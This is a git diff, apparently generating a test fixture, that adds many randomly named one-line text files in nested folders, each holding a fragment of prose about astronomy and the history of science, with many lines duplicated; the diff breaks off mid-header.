diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/kiymutdrbsuofhjjtdjc.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/kiymutdrbsuofhjjtdjc.txt
new file mode 100644
index 0000000..1b2b237
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/kiymutdrbsuofhjjtdjc.txt
@@ -0,0 +1 @@
+to share ourselves with them.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/mhmxhtlcqvvqvptxhhyixe.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/mhmxhtlcqvvqvptxhhyixe.txt
new file mode 100644
index 0000000..6fc370f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/mhmxhtlcqvvqvptxhhyixe.txt
@@ -0,0 +1 @@
+laws of quantum mechanics that govern the absorption and emission of radiation by atoms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/mlfsgzdptpom.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/mlfsgzdptpom.txt
new file mode 100644
index 0000000..1639b26
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/mlfsgzdptpom.txt
@@ -0,0 +1 @@
+manufactured on Earth, it would work a revolution in electronics.) In the interior of Jupiter,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/phmnuxqxvmwyzt.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/phmnuxqxvmwyzt.txt
new file mode 100644
index 0000000..f270b52
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/phmnuxqxvmwyzt.txt
@@ -0,0 +1 @@
+the sphere expands, an astronomer in any galaxy will think all the other galaxies are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/qqxfdzwsw.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/qqxfdzwsw.txt
new file mode 100644
index 0000000..4c7a5c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/qqxfdzwsw.txt
@@ -0,0 +1 @@
+astronomers, observing with equally good instruments in Lowell’s time and after, claimed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/rgqruhjvkethzglqokwjyto.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/rgqruhjvkethzglqokwjyto.txt
new file mode 100644
index 0000000..3926ed7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/rgqruhjvkethzglqokwjyto.txt
@@ -0,0 +1 @@
+n e , the number of planets in a given system that are ecologically suitable for life;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/svxvducz.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/svxvducz.txt
new file mode 100644
index 0000000..86bc12b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/svxvducz.txt
@@ -0,0 +1 @@
+had to wait nearly two thousand years for their rediscovery. If we multiply by a hundred
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/tshwabyx.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/tshwabyx.txt
new file mode 100644
index 0000000..f02d86a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/tshwabyx.txt
@@ -0,0 +1 @@
+citation before the book saw print. Copernicus wrote in a letter to Pope Paul III: ‘According to Cicero, Nicetas
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/vrllyymjyvgkmyollbidaha.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/vrllyymjyvgkmyollbidaha.txt
new file mode 100644
index 0000000..dae8c27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/vrllyymjyvgkmyollbidaha.txt
@@ -0,0 +1 @@
+you. Would not my speed be added to the speed of light, so that my image would get to you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/wspimlasmpwyjwnzz.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/wspimlasmpwyjwnzz.txt
new file mode 100644
index 0000000..a91704c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/wspimlasmpwyjwnzz.txt
@@ -0,0 +1 @@
+extremely rare, a calibration of our place in the universe. It would speak eloquently of how
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/ywkxzixwjkwncwzhjwcz.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/ywkxzixwjkwncwzhjwcz.txt
new file mode 100644
index 0000000..408eb99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/ywkxzixwjkwncwzhjwcz.txt
@@ -0,0 +1 @@
+the contemporary equivalent of physics and chemistry.* But it also had its theoretical side.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/yzduwmpeqomkbbgkxauhfxrg.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/yzduwmpeqomkbbgkxauhfxrg.txt
new file mode 100644
index 0000000..99b9a7c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/yzduwmpeqomkbbgkxauhfxrg.txt
@@ -0,0 +1 @@
+Matter blown outwards from the Sun’s atmosphere, the solar wind, carries fragments of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_bjqkbkln.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_bjqkbkln.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_bjqkbkln.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_bmdrswowscrzudid.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_bmdrswowscrzudid.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_bmdrswowscrzudid.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_cghaqswrbernnjcpuwbqx.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_cghaqswrbernnjcpuwbqx.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_cghaqswrbernnjcpuwbqx.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_eyhjohkwzebvnzvpeogeei.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_eyhjohkwzebvnzvpeogeei.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_eyhjohkwzebvnzvpeogeei.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_guvwjhuk.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_guvwjhuk.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_guvwjhuk.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_joufffbcg.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_joufffbcg.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_joufffbcg.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_oanpwyeaqyltpai.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_oanpwyeaqyltpai.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_oanpwyeaqyltpai.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_owurcrxlndtrcyaj.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_owurcrxlndtrcyaj.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_owurcrxlndtrcyaj.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_paluxmkeszhwee.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_paluxmkeszhwee.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_paluxmkeszhwee.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_rpyrofokmqsqoulzp.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_rpyrofokmqsqoulzp.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_rpyrofokmqsqoulzp.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_wntnjkvcxjlulgtxcexid.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_wntnjkvcxjlulgtxcexid.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_wntnjkvcxjlulgtxcexid.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_xckvjonzhixharptrehen.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_xckvjonzhixharptrehen.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_xckvjonzhixharptrehen.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_xnpjuezyayvwuxnf.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_xnpjuezyayvwuxnf.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_xnpjuezyayvwuxnf.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/file_zdxkcqbzvqcayjhxefyjae.txt b/big_zip/big-zip-files/folder_bonhiouupd/file_zdxkcqbzvqcayjhxefyjae.txt
new file mode 100644
index 0000000..28bc858
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/file_zdxkcqbzvqcayjhxefyjae.txt
@@ -0,0 +1 @@
+But there is far more light than the small segment of the spectrum we can see. At higher
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/bvilieuvgcbg.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/bvilieuvgcbg.txt
new file mode 100644
index 0000000..8d76eb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/bvilieuvgcbg.txt
@@ -0,0 +1 @@
+Inhabitants and Productions, c. 1690
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/cgwrqwcwvkjbeegcnvoh.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/cgwrqwcwvkjbeegcnvoh.txt
new file mode 100644
index 0000000..135ab12
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/cgwrqwcwvkjbeegcnvoh.txt
@@ -0,0 +1 @@
+The glory of the Alexandrian Library is a dim memory. Its last remnants were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/cmqxhukuieabsjwxs.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/cmqxhukuieabsjwxs.txt
new file mode 100644
index 0000000..1280215
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/cmqxhukuieabsjwxs.txt
@@ -0,0 +1 @@
+Perhaps when separated by 15,000 kilometers, their vocalizations are love songs, cast
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_gdgguumhuuljntqfddtfwui.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_gdgguumhuuljntqfddtfwui.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_gdgguumhuuljntqfddtfwui.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_gghogxtygokbgc.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_gghogxtygokbgc.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_gghogxtygokbgc.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_gztclbaslakl.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_gztclbaslakl.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_gztclbaslakl.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_hrzwjvcmbkqkuzqjaeshfn.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_hrzwjvcmbkqkuzqjaeshfn.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_hrzwjvcmbkqkuzqjaeshfn.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_iwmljalni.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_iwmljalni.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_iwmljalni.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_ogjtghkbaatqmyrzubgwyfvh.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_ogjtghkbaatqmyrzubgwyfvh.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_ogjtghkbaatqmyrzubgwyfvh.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_osbtnvrxpsipeqoxjbbvq.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_osbtnvrxpsipeqoxjbbvq.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_osbtnvrxpsipeqoxjbbvq.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_qfnzkjas.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_qfnzkjas.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_qfnzkjas.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_qmhdomcknnew.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_qmhdomcknnew.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_qmhdomcknnew.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_rjoplmnnrfckqqnesgifh.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_rjoplmnnrfckqqnesgifh.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_rjoplmnnrfckqqnesgifh.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_svcrschjeuitdboqb.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_svcrschjeuitdboqb.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_svcrschjeuitdboqb.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_svrhhwlzrdapmwgpygk.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_svrhhwlzrdapmwgpygk.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_svrhhwlzrdapmwgpygk.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_tpjctwzgaiwbgifibozt.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_tpjctwzgaiwbgifibozt.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_tpjctwzgaiwbgifibozt.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_tunlvhoxupcfrzkyrtswn.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_tunlvhoxupcfrzkyrtswn.txt
new file mode 100644
index 0000000..5cc06c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/file_tunlvhoxupcfrzkyrtswn.txt
@@ -0,0 +1 @@
+according to which Euclid’s five regular solids do not allow more than six planets around
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/gbjefrdldytr.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/gbjefrdldytr.txt
new file mode 100644
index 0000000..f309932
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/gbjefrdldytr.txt
@@ -0,0 +1 @@
+Designer (although not with a Designer of a more remote and indirect temperament).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/hauxybxzalynjfoczrfyxg.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/hauxybxzalynjfoczrfyxg.txt
new file mode 100644
index 0000000..43b16bc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/hauxybxzalynjfoczrfyxg.txt
@@ -0,0 +1 @@
+interstellar space and the finite velocity of light, would be continued by our remote
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/hnkoyqui.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/hnkoyqui.txt
new file mode 100644
index 0000000..ed7152a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/hnkoyqui.txt
@@ -0,0 +1 @@
+voiced about Anaxagoras and Bruno and Galileo, that he be condemned for impiety. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/jgdueplqmwoqbln.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/jgdueplqmwoqbln.txt
new file mode 100644
index 0000000..c7db4f9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/jgdueplqmwoqbln.txt
@@ -0,0 +1 @@
+are darker than grasslands, and grasslands are darker than deserts. As a consequence, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/kbwrphlrpppxe.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/kbwrphlrpppxe.txt
new file mode 100644
index 0000000..d7271c4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/kbwrphlrpppxe.txt
@@ -0,0 +1 @@
+The doors of heaven and hell are adjacent and identical.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/kireiagcarkzcmosqzqlvrh.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/kireiagcarkzcmosqzqlvrh.txt
new file mode 100644
index 0000000..98487bc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/kireiagcarkzcmosqzqlvrh.txt
@@ -0,0 +1 @@
+living room. Its mission takes it so far from the Sun that it cannot be powered by solar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/kyxjgvyeirqcqjqvwlsyzpmt.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/kyxjgvyeirqcqjqvwlsyzpmt.txt
new file mode 100644
index 0000000..0c1ebd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/kyxjgvyeirqcqjqvwlsyzpmt.txt
@@ -0,0 +1 @@
+journey, the process perceived by a distant observer as a shift of the escaping light to longer
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/lfxzijpwbuzsromnu.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/lfxzijpwbuzsromnu.txt
new file mode 100644
index 0000000..9e7125d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/lfxzijpwbuzsromnu.txt
@@ -0,0 +1 @@
+The Hiroshima explosion, unlike the subsequent Nagasaki explosion, was an air burst high
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/ozyiysrltqhhphm.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/ozyiysrltqhhphm.txt
new file mode 100644
index 0000000..5433dd6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/ozyiysrltqhhphm.txt
@@ -0,0 +1 @@
+it is difficult to see what such an impediment might be. Or perhaps they are here, but in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/sgoarvabosgtpwfjd.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/sgoarvabosgtpwfjd.txt
new file mode 100644
index 0000000..d42358a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/sgoarvabosgtpwfjd.txt
@@ -0,0 +1 @@
+organisms on our planet today would have feathers and teach their young in rookeries. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/svuuzqtoju.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/svuuzqtoju.txt
new file mode 100644
index 0000000..647f7b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/svuuzqtoju.txt
@@ -0,0 +1 @@
+world is but an imperfect reflection. In Plato’s famous parable of the cave, prisoners were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/vstvitcoljsgu.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/vstvitcoljsgu.txt
new file mode 100644
index 0000000..4720447
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/vstvitcoljsgu.txt
@@ -0,0 +1 @@
+first being was Chaos, corresponding to the phrase in Genesis in the same context, ‘without
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/wfwurqljzaxwtculugc.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/wfwurqljzaxwtculugc.txt
new file mode 100644
index 0000000..c0f8621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/wfwurqljzaxwtculugc.txt
@@ -0,0 +1 @@
+squared, 10 2 = 100 times smaller. Clearly, the force must in some sense be inverse - that is,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/zmlujxxcndsdjh.txt b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/zmlujxxcndsdjh.txt
new file mode 100644
index 0000000..a4c79ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bonhiouupd/folder_pjqhorqzik/zmlujxxcndsdjh.txt
@@ -0,0 +1 @@
+carried out at the low ambient Martian temperatures, and most did not provide long
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_ahruzczizl.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_ahruzczizl.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_ahruzczizl.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_begpnylwvduec.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_begpnylwvduec.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
